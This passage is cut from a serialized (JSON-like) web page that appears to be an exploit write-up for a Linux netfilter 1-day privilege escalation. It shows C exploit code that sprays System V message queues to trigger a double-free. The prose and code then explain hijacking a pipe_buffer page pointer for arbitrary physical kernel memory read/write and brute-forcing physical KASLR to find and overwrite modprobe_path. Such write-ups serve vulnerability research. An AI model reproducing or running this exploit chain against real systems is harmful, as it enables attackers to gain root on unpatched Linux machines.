kmalloc-1k\n",{"type":24,"tag":327,"props":64436,"children":64437},{"class":329,"line":408},[64438,64443,64447,64451,64456],{"type":24,"tag":327,"props":64439,"children":64440},{"style":346},[64441],{"type":29,"value":64442},"    msg_t *msg = calloc(1, ",{"type":24,"tag":327,"props":64444,"children":64445},{"style":1639},[64446],{"type":29,"value":62049},{"type":24,"tag":327,"props":64448,"children":64449},{"style":346},[64450],{"type":29,"value":349},{"type":24,"tag":327,"props":64452,"children":64453},{"style":1639},[64454],{"type":29,"value":64455},"msg_t",{"type":24,"tag":327,"props":64457,"children":64458},{"style":346},[64459],{"type":29,"value":64460},") + 0xe8 - 48);\n",{"type":24,"tag":327,"props":64462,"children":64463},{"class":329,"line":421},[64464,64468,64473],{"type":24,"tag":327,"props":64465,"children":64466},{"style":334},[64467],{"type":29,"value":373},{"type":24,"tag":327,"props":64469,"children":64470},{"style":356},[64471],{"type":29,"value":64472}," qid",{"type":24,"tag":327,"props":64474,"children":64475},{"style":346},[64476],{"type":29,"value":64477},"[SPRAY];\n",{"type":24,"tag":327,"props":64479,"children":64480},{"class":329,"line":450},[64481,64485,64489,64493,64497,64501,64505,64509,64513,64518,64522],{"type":24,"tag":327,"props":64482,"children":64483},{"style":425},[64484],{"type":29,"value":10643},{"type":24,"tag":327,"props":64486,"children":64487},{"style":346},[64488],{"type":29,"value":5894},{"type":24,"tag":327,"props":64490,"children":64491},{"style":334},[64492],{"type":29,"value":337},{"type":24,"tag":327,"props":64494,"children":64495},{"style":346},[64496],{"type":29,"value":61265},{"type":24,"tag":327,"props":64498,"children":64499},{"style":381},[64500],{"type":29,"value":384},{"type":24,"tag":327,"props":64502,"children":64503},{"style":397},[64504],{"type":29,"value":6695},{"type":24,"tag":327,"props":64506,"children":64507},{"style":346},[64508],{"type":29,"value":57954},{"type":24,"tag":327,"props":64510,"children":64511},{"style":381},[64512],{"type":29,"value":1596},{"type":24,"tag":327,"props":64514,"children":64515},{"style":346},[64516],{"type":29,"value":64517}," SPRAY; i",{"type":24,"tag":327,"props":64519,"children":64520},{"style":381},[64521],{"type":29,"value":57990},{"type":24,"tag":327,"props":64523,"children":64524},{"style":346},[64525],{"type":29,"value":852},{"type":24,"tag":327,"props":64527,"children":64528},{"class":329,"line":481},[64529],{"type":24,"tag":327,"props":64530,"children":64531},{"style":346},[64532],{"type":29,"value":35895},{"type":24,"tag":327,"props":64534,"children":64535},{"class":329,"line":500},[64536,64541,64545,64549,64554,64559,64564,64568],{"type":24,"tag":327,"props":64537,"children":64538},{"style":356},[64539],{"type":29,"value":64540},"        qid",{"type":24,"tag":327,"props":64542,"children":64543},{"style":346},[64544],{"type":29,"value":61317},{"type":24,"tag":327,"props":64546,"children":64547},{"style":381},[64548],{"type":29,"value":384},{"type":24,"tag":327,"props":64550,"children":64551},{"style":340},[64552],{"type":29,"value":64553}," msgget",{"type":24,"tag":327,"props":64555,"children":64556},{"style":346},[64557],{"type":29,"value":64558},"(IPC_PRIVATE, ",{"type":24,"tag":327,"props":64560,"children":64561},{"style":397},[64562],{"type":29,"value":64563},"0666",{"type":24,"tag":327,"props":64565,"children":64566},{"style":381},[64567],{"type":29,"value":11841},{"type":24,"tag":327,"props":64569,"children":64570},{"style":346},[64571],{"type":29,"value":64572}," IPC_CREAT);\n",{"type":24,"tag":327,"props":64574,"children":64575},{"class":329,"line":529},[64576,64580,64584,64589,64593,64597,64601],{"type":24,"tag":327,"props":64577,"children":64578},{"style":425},[64579],{"type":29,"value":8861},{"type":24,"tag":327,"props":64581,"children":64582},{"style":346},[64583],{"type":29,"value":5894},{"type":24,"tag":327,"props":64585,"children":64586},{"style":356},[64587],{"type":29,"value":64588},"qid",{"type":24,"tag":327,"props":64590,"children":64591},{"style":346},[64592],{"type":29,"value":61317},{"type":24,"tag":327,"props":64594,"children":64595},{"style":381},[64596],{"type":29,"value":1596},{"type":24,"tag":327,"props":64598,"children":64599},{"style":397},[64600],{"type":29,"value":6695},{"type":24,"tag":327,"props":64602,"children":64603},{"style":346},[64604],{"type":29,"value":852},{"type":24,"tag":327,"props":64606,"children":64607},{"class":329,"line":538},[64608],{"type":24,"tag":327,"props":64609,"children":64610},{"style":346},[64611],{"type":29,"value":38369},{"type":24,"tag":327,"props":64613,"children":64614},{"class":329,"line":547},[64615,64620,64624,64629],{"type":24,"tag":327,"props":64616,"children":64617},{"style":340},[64618],{"type":29,"value":64619},"            perror",{"type":24,"tag":327,"props":64621,"children":64622},{"style":346},[64623],{"type":29,"value":349},{"type":24,"tag":327,"props":64625,"children":64626},{"style":844},[64627],{"type":29,"value":64628},"\"[-] msgget\"",{"type":24,"tag":327,"props":64630,"children":64631},{"style":346},[64632],{"type":29,"value":583},{"type":24,"tag":327,"props":64634,"children":64635},{"class":329,"line":557},[64636],{"type":24,"tag":327,"props":64637,"children":64638},{"style":346},[64639],{"type":29,"value":8989},{"type":24,"tag":327,"props":64641,"children":64642},{"class":329,"line":586},[64643,64647,64651,64656,64660,64664,64669,64673,64678,64682],{"type":24,"tag":327,"props":64644,"children":64645},{"style":381},[64646],{"type":29,"value":5308},{"type":24,"tag":327,"props":64648,"children":64649},{"style":346},[64650],{"type":29,"value":349},{"type":24,"tag":327,"props":64652,"children":64653},{"style":334},[64654],{"type":29,"value":64655},"uint32_t",{"type":24,"tag":327,"props":64657,"children":64658},{"style":381},[64659],{"type":29,"value":17364},{"type":24,"tag":327,"props":64661,"children":64662},{"style":346},[64663],{"type":29,"value":3146},{"type":24,"tag":327,"props":64665,"children":64666},{"style":356},[64667],{"type":29,"value":64668},"msg",{"type":24,"tag":327,"props":64670,"children":64671},{"style":346},[64672],{"type":29,"value":1679},{"type":24,"tag":327,"props":64674,"children":64675},{"style":356},[64676],{"type":29,"value":64677},"mtext",{"type":24,"tag":327,"props":64679,"children":64680},{"style":381},[64681],{"type":29,"value":4809},{"type":24,"tag":327,"props":64683,"children":64684},{"style":346},[64685],{"type":29,"value":64686}," i;\n",{"type":24,"tag":327,"props":64688,"children":64689},{"class":329,"line":1017},[64690,64694,64698,64702,64706,64710,64714,64718,64722,64726,64730,64734,64738,64742,64747],{"type":24,"tag":327,"props":64691,"children":64692},{"style":381},[64693],{"type":29,"value":5308},{"type":24,"tag":327,"props":64695,"children":64696},{"style":346},[64697],{"type":29,"value":349},{"type":24,"tag":327,"props":64699,"children":64700},{"style":334},[64701],{"type":29,"value":62356},{"type":24,"tag":327,"props":64703,"children":64704},{"style":381},[64705],{"type":29,"value":17364},{"type":24,"tag":327,"props":64707,"children":64708},{"style":346},[64709],{"type":29,"value":3146},{"type":24,"tag":327,"props":64711,"children":64712},{"style":381},[64713],{"type":29,"value":8716},{"type":24,"tag":327,"props":64715,"children":64716},{"style":356},[64717],{"type":29,"value":64668},{"type":24,"tag":327,"props":64719,"children":64720},{"style":346},[64721],{"type":29,"value":1679},{"type":24,"tag":327,"props":64723,"children":64724},{"style":356},[64725],{"type":29,"value":64677},{"type":24,"tag":327,"props":64727,"children":64728},{"style":346},[64729],{"type":29,"value":11329},{"type":24,"tag":327,"props":64731,"children":64732},{"style":397},[64733],{"type":29,"value":11653},{"type":24,"tag":327,"props":64735,"children":64736},{"style":346},[64737],{"type":29,"value":16221},{"type":24,"tag":327,"props":64739,"children":64740},{"style":381},[64741],{"type":29,"value":384},{"type":24,"tag":327,"props":64743,"children":64744},{"style":397},[64745],{"type":29,"value":64746}," 0xdeadbeefcafebabe",{"type":24,"tag":327,"props":64748,"children":64749},{"style":346},[64750],{"type":29,"value":405},{"type":24,"tag":327,"props":64752,"children":64753},{"class":329,"line":1026},[64754,64759,64763,64768,64772],{"type":24,"tag":327,"props":64755,"children":64756},{"style":356},[64757],{"type":29,"value":64758},"        msg",{"type":24,"tag":327,"props":64760,"children":64761},{"style":346},[64762],{"type":29,"value":1679},{"type":24,"tag":327,"props":64764,"children":64765},{"style":356},[64766],{"type":29,"value":64767},"mtype",{"type":24,"tag":327,"props":64769,"children":64770},{"style":381},[64771],{"type":29,"value":4809},{"type":24,"tag":327,"props":64773,"children":64774},{"style":346},[64775],{"type":29,"value":64776}," MTYPE_PRIMARY;\n",{"type":24,"tag":327,"props":64778,"children":64779},{"class":329,"line":1048},[64780,64785,64789,64793,64798,64802,64806,64811,64815,64819],{"type":24,"tag":327,"props":64781,"children":64782},{"style":340},[64783],{"type":29,"value":64784},"        msgsnd",{"type":24,"tag":327,"props":64786,"children":64787},{"style":346},[64788],{"type":29,"value":349},{"type":24,"tag":327,"props":64790,"children":64791},{"style":356},[64792],{"type":29,"value":64588},{"type":24,"tag":327,"props":64794,"children":64795},{"style":346},[64796],{"type":29,"value":64797},"[i], msg, ",{"type":24,"tag":327,"props":64799,"children":64800},{"style":397},[64801],{"type":29,"value":62693},{"type":24,"tag":327,"props":64803,"children":64804},{"style":381},[64805],{"type":29,"value":57976},{"type":24,"tag":327,"props":64807,"children":64808},{"style":397},[64809],{"type":29,"value":64810}," 48",{"type":24,"tag":327,"props":64812,"children":64813},{"style":346},[64814],{"type":29,"value":2744},{"type":24,"tag":327,"props":64816,"children":64817},{"style":397},[64818],{"type":29,"value":2988},{"type":24,"tag":327,"props":64820,"children":64821},{"style":346},[64822],{"type":29,"value":583},{"type":24,"tag":327,"props":64824,"children":64825},{"class":329,"line":1067},[64826,64830,64834,64838,64842],{"type":24,"tag":327,"props":64827,"children":64828},{"style":356},[64829],{"type":29,"value":64758},{"type":24,"tag":327,"props":64831,"children":64832},{"style":346},[64833],{"type":29,"value":1679},{"type":24,"tag":327,"props":64835,"children":64836},{"style":356},[64837],{"type":29,"value":64767},{"type":24,"tag":327,"props":64839,"children":64840},{"style":381},[64841],{"type":29,"value":4809},{"type":24,"tag":327,"props":64843,"children":64844},{"style":346},[64845],{"type":29,"value":64846}," MTYPE_SECONDARY;\n",{"type":24,"tag":327,"props":64848,"children":64849},{"class":329,"line":1075},[64850,64854,64858,64862,64866,64871,64875,64879,64883,64887],{"type":24,"tag":327,"props":64851,"children":64852},{"style":340},[64853],{"type":29,"value":64784},{"type":24,"tag":327,"props":64855,"children":64856},{"style":346},[64857],{"type":29,"value":349},{"type":24,"tag":327,"props":64859,"children":64860},{"style":356},[64861],{"type":29,"value":64588},{"type":24,"tag":327,"props":64863,"children":64864},{"style":346},[64865],{"type":29,"value":64797},{"type":24,"tag":327,"props":64867,"children":64868},{"style":397},[64869],{"type":29,"value":64870},"1024",{"type":24,"tag":327,"props":64872,"children":64873},{"style":381},[64874],{"type":29,"value":57976},{"type":24,"tag":327,"props":64876,"children":64877},{"style":397},[64878],{"type":29,"value":64810},{"type":24,"tag":327,"props":64880,"children":64881},{"style":346},[64882],{"type":29,"value":2744},{"type":24,"tag":327,"props":64884,"children":64885},{"style":397},[64886],{"type":29,"value":2988},{"type":24,"tag":327,"props":64888,"children":64889},{"style":346},[64890],{"type":29,"value":583},{"type":24,"tag":327,"props":64892,"children":64893},{"class":329,"line":1084},[64894],{"type":24,"tag":327,"props":64895,"children":64896},{"style":346},[64897],{"type":29,"value":535},{"type":24,"tag":327,"props":64899,"children":64900},{"class":329,"line":1100},[64901],{"type":24,"tag":327,"props":64902,"children":64903},{"style":551},[64904],{"type":29,"value":64905},"    // Prepare evil msg\n",{"type":24,"tag":327,"props":64907,"children":64908},{"class":329,"line":1128},[64909,64913,64918,64922,64926,64930,64934,64938],{"type":24,"tag":327,"props":64910,"children":64911},{"style":334},[64912],{"type":29,"value":373},{"type":24,"tag":327,"props":64914,"children":64915},{"style":346},[64916],{"type":29,"value":64917}," evilqid ",{"type":24,"tag":327,"props":64919,"children":64920},{"style":381},[64921],{"type":29,"value":384},{"type":24,"tag":327,"props":64923,"children":64924},{"style":340},[64925],{"type":29,"value":64553},{"type":24,"tag":327,"props":64927,"children":64928},{"style":346},[64929],{"type":29,"value":64558},{"type":24,"tag":327,"props":64931,"children":64932},{"style":397},[64933],{"type":29,"value":64563},{"type":24,"tag":327,"props":64935,"children":64936},{"style":381},[64937],{"type":29,"value":11841},{"type":24,"tag":327,"props":64939,"children":64940},{"style":346},[64941],{"type":29,"value":64572},{"type":24,"tag":327,"props":64943,"children":64944},{"class":329,"line":1148},[64945,64949,64954,64958,64962],{"type":24,"tag":327,"props":64946,"children":64947},{"style":425},[64948],{"type":29,"value":428},{"type":24,"tag":327,"props":64950,"children":64951},{"style":346},[64952],{"type":29,"value":64953}," (evilqid ",{"type":24,"tag":327,"props":64955,"children":64956},{"style":381},[64957],{"type":29,"value":1596},{"type":24,"tag":327,"props":64959,"children":64960},{"style":397},[64961],{"type":29,"value":6695},{"type":24,"tag":327,"props":64963,"children":64964},{"style":346},[64965],{"type":29,"value":852},{"type":24,"tag":327,"props":64967,"children":64968},{"class":329,"line":1176},[64969],{"type":24,"tag":327,"props":64970,"children":64971},{"style":346},[64972],{"type":29,"value":35895},{"type":24,"tag":327,"props":64974,"children":64975},{"class":329,"line":1184},[64976,64981,64985,64989],{"type":24,"tag":327,"props":64977,"children":64978},{"style":340},[64979],{"type":29,"value":64980},"        perror",{"type":24,"tag":327,"props":64982,"children":64983},{"style":346},[64984],{"type":29,"value":349},{"type":24,"tag":327,"props":64986,"children":64987},{"style":844},[64988],{"type":29,"value":64628},{"type":24,"tag":327,"props":64990,"children":64991},{"style":346},[64992],{"type":29,"value":583},{"type":24,"tag":327,"props":64994,"children":64995},{"class":329,"line":1192},[64996],{"type":24,"tag":327,"props":64997,"children":64998},{"style":346},[64999],{"type":29,"value":535},{"type":24,"tag":327,"props":65001,"children":65002},{"class":329,"line":1212},[65003],{"type":24,"tag":327,"props":65004,"children":65005},{"style":346},[65006],{"type":29,"value":65007},"[...] // trigger double-free in kmalloc-256\n",{"type":24,"tag":235,"props":65009,"children":65011},{"id":65010},"using-pipe_buffer-page-pointer-for-physical-readwrite",[65012],{"type":29,"value":65013},"Using pipe_buffer->page pointer for physical read/write",{"type":24,"tag":25,"props":65015,"children":65016},{},[65017,65019,65025,65026,65032,65033,65039,65041,65047],{"type":29,"value":65018},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":24,"tag":284,"props":65020,"children":65022},{"className":65021},[],[65023],{"type":29,"value":65024},"kmalloc-1k",{"type":29,"value":1323},{"type":24,"tag":284,"props":65027,"children":65029},{"className":65028},[],[65030],{"type":29,"value":65031},"overlap pipe_buffer",{"type":29,"value":2885},{"type":24,"tag":284,"props":65034,"children":65036},{"className":65035},[],[65037],{"type":29,"value":65038},"skbuf",{"type":29,"value":65040}," data to control the ",{"type":24,"tag":284,"props":65042,"children":65044},{"className":65043},[],[65045],{"type":29,"value":65046},"page",{"type":29,"value":65048}," field.",{"type":24,"tag":25,"props":65050,"children":65051},{},[65052,65053,65058,65060,65066,65068],{"type":29,"value":1713},{"type":24,"tag":284,"props":65054,"children":65056},{"className":65055},[],[65057],{"type":29,"value":65046},{"type":29,"value":65059}," field is a pointer into ",{"type":24,"tag":284,"props":65061,"children":65063},{"className":65062},[],[65064],{"type":29,"value":65065},"vmemmap_base",{"type":29,"value":65067},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":24,"tag":11511,"props":65069,"children":65071},{"alt":57299,"src":65070},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":24,"tag":25,"props":65073,"children":65074},{},[65075,65077,65082],{"type":29,"value":65076},"This now allows us to navigate the ",{"type":24,"tag":284,"props":65078,"children":65080},{"className":65079},[],[65081],{"type":29,"value":65065},{"type":29,"value":65083}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":24,"tag":235,"props":65085,"children":65087},{"id":65086},"bruteforce-physical-kernel-base",[65088],{"type":29,"value":65089},"Bruteforce physical kernel base",{"type":24,"tag":25,"props":65091,"children":65092},{},[65093,65095,65101,65103,65108,65110,65116],{"type":29,"value":65094},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":24,"tag":284,"props":65096,"children":65098},{"className":65097},[],[65099],{"type":29,"value":65100},"modprobe_path",{"type":29,"value":65102},". Keep in mind that simply searching page by page from the start of ",{"type":24,"tag":284,"props":65104,"children":65106},{"className":65105},[],[65107],{"type":29,"value":65065},{"type":29,"value":65109}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":24,"tag":284,"props":65111,"children":65113},{"className":65112},[],[65114],{"type":29,"value":65115},"PHYSICAL_ALIGN",{"type":29,"value":65117}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":24,"tag":317,"props":65119,"children":65121},{"className":35818,"code":65120,"language":35820,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n    uint64_t kernel_base;\n    bool found = false;\n    uint8_t data[PAGE_SIZE] = {0};\n    puts(\"[*] bruteforce phys-KASLR\");\n    for (uint64_t i = 0;; i++)\n    {\n        kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n        pipebuf->page = vmemmap_base + kernel_base;\n        pipebuf->offset = 0;\n        pipebuf->len = PAGE_SIZE + 1;\n[...]\n        for (int j = 0; j \u003C PIPE_SPRAY; j++)\n        {\n            memset(&data, 0, PAGE_SIZE);\n            int count;\n            if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n            {\n                continue;\n            }\n[...]\n\n            if (is_kernel_base(data)) // [1] identify kernel base\n            {\n                found = true;\n                break;\n            }\n        }\n\n[...]\n",[65122],{"type":24,"tag":284,"props":65123,"children":65124},{"__ignoreMap":7},[65125,65132,65140,65148,65172,65205,65225,65265,65272,65316,65350,65377,65413,65420,65466,65473,65503,65516,65581,65588,65600,65608,65615,65622,65648,65655,65675,65687,65694,65701,65708],{"type":24,"tag":327,"props":65126,"children":65127},{"class":329,"line":330},[65128],{"type":24,"tag":327,"props":65129,"children":65130},{"style":346},[65131],{"type":29,"value":17865},{"type":24,"tag":327,"props":65133,"children":65134},{"class":329,"line":367},[65135],{"type":24,"tag":327,"props":65136,"children":65137},{"style":346},[65138],{"type":29,"value":65139},"// Bruteforce phys-KASLR\n",{"type":24,"tag":327,"props":65141,"children":65142},{"class":329,"line":408},[65143],{"type":24,"tag":327,"props":65144,"children":65145},{"style":346},[65146],{"type":29,"value":65147},"    uint64_t kernel_base;\n",{"type":24,"tag":327,"props":65149,"children":65150},{"class":329,"line":421},[65151,65155,65160,65164,65168],{"type":24,"tag":327,"props":65152,"children":65153},{"style":334},[65154],{"type":29,"value":53192},{"type":24,"tag":327,"props":65156,"children":65157},{"style":346},[65158],{"type":29,"value":65159}," found ",{"type":24,"tag":327,"props":65161,"children":65162},{"style":381},[65163],{"type":29,"value":384},{"type":24,"tag":327,"props":65165,"children":65166},{"style":334},[65167],{"type":29,"value":6776},{"type":24,"tag":327,"props":65169,"children":65170},{"style":346},[65171],{"type":29,"value":405},{"type":24,"tag":327,"props":65173,"children":65174},{"class":329,"line":450},[65175,65180,65184,65189,65193,65197,65201],{"type":24,"tag":327,"props":65176,"children":65177},{"style":334},[65178],{"type":29,"value":65179},"    uint8_t",{"type":24,"tag":327,"props":65181,"children":65182},{"style":356},[65183],{"type":29,"value":22628},{"type":24,"tag":327,"props":65185,"children":65186},{"style":346},[65187],{"type":29,"value":65188},"[PAGE_SIZE] ",{"type":24,"tag":327,"props":65190,"children":65191},{"style":381},[65192],{"type":29,"value":384},{"type":24,"tag":327,"props":65194,"children":65195},{"style":346},[65196],{"type":29,"value":51936},{"type":24,"tag":327,"props":65198,"children":65199},{"style":397},[65200],{"type":29,"value":2988},{"type":24,"tag":327,"props":65202,"children":65203},{"style":346},[65204],{"type":29,"value":24092},{"type":24,"tag":327,"props":65206,"children":65207},{"class":329,"line":481},[65208,65212,65216,65221],{"type":24,"tag":327,"props":65209,"children":65210},{"style":340},[65211],{"type":29,"value":62228},{"type":24,"tag":327,"props":65213,"children":65214},{"style":346},[65215],{"type":29,"value":349},{"type":24,"tag":327,"props":65217,"children":65218},{"style":844},[65219],{"type":29,"value":65220},"\"[*] bruteforce phys-KASLR\"",{"type":24,"tag":327,"props":65222,"children":65223},{"style":346},[65224],{"type":29,"value":583},{"type":24,"tag":327,"props":65226,"children":65227},{"class":329,"line":500},[65228,65232,65236,65240,65244,65248,65252,65257,65261],{"type":24,"tag":327,"props":65229,"children":65230},{"style":425},[65231],{"type":29,"value":10643},{"type":24,"tag":327,"props":65233,"children":65234},{"style":346},[65235],{"type":29,"value":5894},{"type":24,"tag":327,"props":65237,"children":65238},{"style":334},[65239],{"type":29,"value":62356},{"type":24,"tag":327,"props":65241,"children":65242},{"style":346},[65243],{"type":29,"value":61265},{"type":24,"tag":327,"props":65245,"children":65246},{"style":381},[65247],{"type":29,"value":384},{"type":24,"tag":327,"props":65249,"children":65250},{"style":397},[65251],{"type":29,"value":6695},{"type":24,"tag":327,"props":65253,"children":65254},{"style":346},[65255],{"type":29,"value":65256},";; i",{"type":24,"tag":327,"props":65258,"children":65259},{"style":381},[65260],{"type":29,"value":57990},{"type":24,"tag":327,"props":65262,"children":65263},{"style":346},[65264],{"type":29,"value":852},{"type":24,"tag":327,"props":65266,"children":65267},{"class":329,"line":529},[65268],{"type":24,"tag":327,"props":65269,"children":65270},{"style":346},[65271],{"type":29,"value":35895},{"type":24,"tag":327,"props":65273,"children":65274},{"class":329,"line":538},[65275,65280,65284,65289,65293,65298,65302,65307,65311],{"type":24,"tag":327,"props":65276,"children":65277},{"style":346},[65278],{"type":29,"value":65279},"        kernel_base ",{"type":24,"tag":327,"props":65281,"children":65282},{"style":381},[65283],{"type":29,"value":384},{"type":24,"tag":327,"props":65285,"children":65286},{"style":397},[65287],{"type":29,"value":65288}," 0x40",{"type":24,"tag":327,"props":65290,"children":65291},{"style":381},[65292],{"type":29,"value":17364},{"type":24,"tag":327,"props":65294,"children":65295},{"style":346},[65296],{"type":29,"value":65297}," ((PHYSICAL_ALIGN ",{"type":24,"tag":327,"props":65299,"children":65300},{"style":381},[65301],{"type":29,"value":469},{"type":24,"tag":327,"props":65303,"children":65304},{"style":346},[65305],{"type":29,"value":65306}," i) ",{"type":24,"tag":327,"props":65308,"children":65309},{"style":381},[65310],{"type":29,"value":20305},{"type":24,"tag":327,"props":65312,"children":65313},{"style":346},[65314],{"type":29,"value":65315}," PAGE_SHIFT);\n",{"type":24,"tag":327,"props":65317,"children":65318},{"class":329,"line":547},[65319,65324,65328,65332,65336,65341,65345],{"type":24,"tag":327,"props":65320,"children":65321},{"style":356},[65322],{"type":29,"value":65323},"        pipebuf",{"type":24,"tag":327,"props":65325,"children":65326},{"style":346},[65327],{"type":29,"value":1679},{"type":24,"tag":327,"props":65329,"children":65330},{"style":356},[65331],{"type":29,"value":65046},{"type":24,"tag":327,"props":65333,"children":65334},{"style":381},[65335],{"type":29,"value":4809},{"type":24,"tag":327,"props":65337,"children":65338},{"style":346},[65339],{"type":29,"value":65340}," vmemmap_base ",{"type":24,"tag":327,"props":65342,"children":65343},{"style":381},[65344],{"type":29,"value":394},{"type":24,"tag":327,"props":65346,"children":65347},{"style":346},[65348],{"type":29,"value":65349}," kernel_base;\n",{"type":24,"tag":327,"props":65351,"children":65352},{"class":329,"line":557},[65353,65357,65361,65365,65369,65373],{"type":24,"tag":327,"props":65354,"children":65355},{"style":356},[65356],{"type":29,"value":65323},{"type":24,"tag":327,"props":65358,"children":65359},{"style":346},[65360],{"type":29,"value":1679},{"type":24,"tag":327,"props":65362,"children":65363},{"style":356},[65364],{"type":29,"value":21434},{"type":24,"tag":327,"props":65366,"children":65367},{"style":381},[65368],{"type":29,"value":4809},{"type":24,"tag":327,"props":65370,"children":65371},{"style":397},[65372],{"type":29,"value":6695},{"type":24,"tag":327,"props":65374,"children":65375},{"style":346},[65376],{"type":29,"value":405},{"type":24,"tag":327,"props":65378,"children":65379},{"class":329,"line":586},[65380,65384,65388,65392,65396,65401,65405,65409],{"type":24,"tag":327,"props":65381,"children":65382},{"style":356},[65383],{"type":29,"value":65323},{"type":24,"tag":327,"props":65385,"children":65386},{"style":346},[65387],{"type":29,"value":1679},{"type":24,"tag":327,"props":65389,"children":65390},{"style":356},[65391],{"type":29,"value":4906},{"type":24,"tag":327,"props":65393,"children":65394},{"style":381},[65395],{"type":29,"value":4809},{"type":24,"tag":327,"props":65397,"children":65398},{"style":346},[65399],{"type":29,"value":65400}," PAGE_SIZE ",{"type":24,"tag":327,"props":65402,"children":65403},{"style":381},[65404],{"type":29,"value":394},{"type":24,"tag":327,"props":65406,"children":65407},{"style":397},[65408],{"type":29,"value":522},{"type":24,"tag":327,"props":65410,"children":65411},{"style":346},[65412],{"type":29,"value":405},{"type":24,"tag":327,"props":65414,"children":65415},{"class":329,"line":1017},[65416],{"type":24,"tag":327,"props":65417,"children":65418},{"style":346},[65419],{"type":29,"value":17865},{"type":24,"tag":327,"props":65421,"children":65422},{"class":329,"line":1026},[65423,65428,65432,65436,65440,65444,65449,65453,65458,65462],{"type":24,"tag":327,"props":65424,"children":65425},{"style":346},[65426],{"type":29,"value":65427},"        for (",{"type":24,"tag":327,"props":65429,"children":65430},{"style":334},[65431],{"type":29,"value":337},{"type":24,"tag":327,"props":65433,"children":65434},{"style":356},[65435],{"type":29,"value":16183},{"type":24,"tag":327,"props":65437,"children":65438},{"style":381},[65439],{"type":29,"value":4809},{"type":24,"tag":327,"props":65441,"children":65442},{"style":397},[65443],{"type":29,"value":6695},{"type":24,"tag":327,"props":65445,"children":65446},{"style":346},[65447],{"type":29,"value":65448},"; j ",{"type":24,"tag":327,"props":65450,"children":65451},{"style":381},[65452],{"type":29,"value":1596},{"type":24,"tag":327,"props":65454,"children":65455},{"style":346},[65456],{"type":29,"value":65457}," PIPE_SPRAY; j",{"type":24,"tag":327,"props":65459,"children":65460},{"style":381},[65461],{"type":29,"value":57990},{"type":24,"tag":327,"props":65463,"children":65464},{"style":346},[65465],{"type":29,"value":852},{"type":24,"tag":327,"props":65467,"children":65468},{"class":329,"line":1048},[65469],{"type":24,"tag":327,"props":65470,"children":65471},{"style":346},[65472],{"type":29,"value":38369},{"type":24,"tag":327,"props":65474,"children":65475},{"class":329,"line":1067},[65476,65481,65485,65489,65494,65498],{"type":24,"tag":327,"props":65477,"children":65478},{"style":340},[65479],{"type":29,"value":65480},"            memset",{"type":24,"tag":327,"props":65482,"children":65483},{"style":346},[65484],{"type":29,"value":349},{"type":24,"tag":327,"props":65486,"children":65487},{"style":381},[65488],{"type":29,"value":8716},{"type":24,"tag":327,"props":65490,"children":65491},{"style":346},[65492],{"type":29,"value":65493},"data, ",{"type":24,"tag":327,"props":65495,"children":65496},{"style":397},[65497],{"type":29,"value":2988},{"type":24,"tag":327,"props":65499,"children":65500},{"style":346},[65501],{"type":29,"value":65502},", PAGE_SIZE);\n",{"type":24,"tag":327,"props":65504,"children":65505},{"class":329,"line":1075},[65506,65511],{"type":24,"tag":327,"props":65507,"children":65508},{"style":334},[65509],{"type":29,"value":65510},"            int",{"type":24,"tag":327,"props":65512,"children":65513},{"style":346},[65514],{"type":29,"value":65515}," count;\n",{"type":24,"tag":327,"props":65517,"children":65518},{"class":329,"line":1084},[65519,65524,65529,65533,65538,65542,65547,65552,65556,65560,65564,65569,65573,65577],{"type":24,"tag":327,"props":65520,"children":65521},{"style":425},[65522],{"type":29,"value":65523},"            if",{"type":24,"tag":327,"props":65525,"children":65526},{"style":346},[65527],{"type":29,"value":65528}," (count ",{"type":24,"tag":327,"props":65530,"children":65531},{"style":381},[65532],{"type":29,"value":384},{"type":24,"tag":327,"props":65534,"children":65535},{"style":340},[65536],{"type":29,"value":65537}," read",{"type":24,"tag":327,"props":65539,"children":65540},{"style":346},[65541],{"type":29,"value":349},{"type":24,"tag":327,"props":65543,"children":65544},{"style":356},[65545],{"type":29,"value":65546},"pfd",{"type":24,"tag":327,"props":65548,"children":65549},{"style":346},[65550],{"type":29,"value":65551},"[j][",{"type":24,"tag":327,"props":65553,"children":65554},{"style":397},[65555],{"type":29,"value":2988},{"type":24,"tag":327,"props":65557,"children":65558},{"style":346},[65559],{"type":29,"value":4474},{"type":24,"tag":327,"props":65561,"children":65562},{"style":381},[65563],{"type":29,"value":8716},{"type":24,"tag":327,"props":65565,"children":65566},{"style":346},[65567],{"type":29,"value":65568},"data, PAGE_SIZE) ",{"type":24,"tag":327,"props":65570,"children":65571},{"style":381},[65572],{"type":29,"value":1596},{"type":24,"tag":327,"props":65574,"children":65575},{"style":397},[65576],{"type":29,"value":6695},{"type":24,"tag":327,"props":65578,"children":65579},{"style":346},[65580],{"type":29,"value":852},{"type":24,"tag":327,"props":65582,"children":65583},{"class":329,"line":1100},[65584],{"type":24,"tag":327,"props":65585,"children":65586},{"style":346},[65587],{"type":29,"value":38405},{"type":24,"tag":327,"props":65589,"children":65590},{"class":329,"line":1128},[65591,65596],{"type":24,"tag":327,"props":65592,"children":65593},{"style":425},[65594],{"type":29,"value":65595},"                continue",{"type":24,"tag":327,"props":65597,"children":65598},{"style":346},[65599],{"type":29,"value":405},{"type":24,"tag":327,"props":65601,"children":65602},{"class":329,"line":1148},[65603],{"type":24,"tag":327,"props":65604,"children":65605},{"style":346},[65606],{"type":29,"value":65607},"            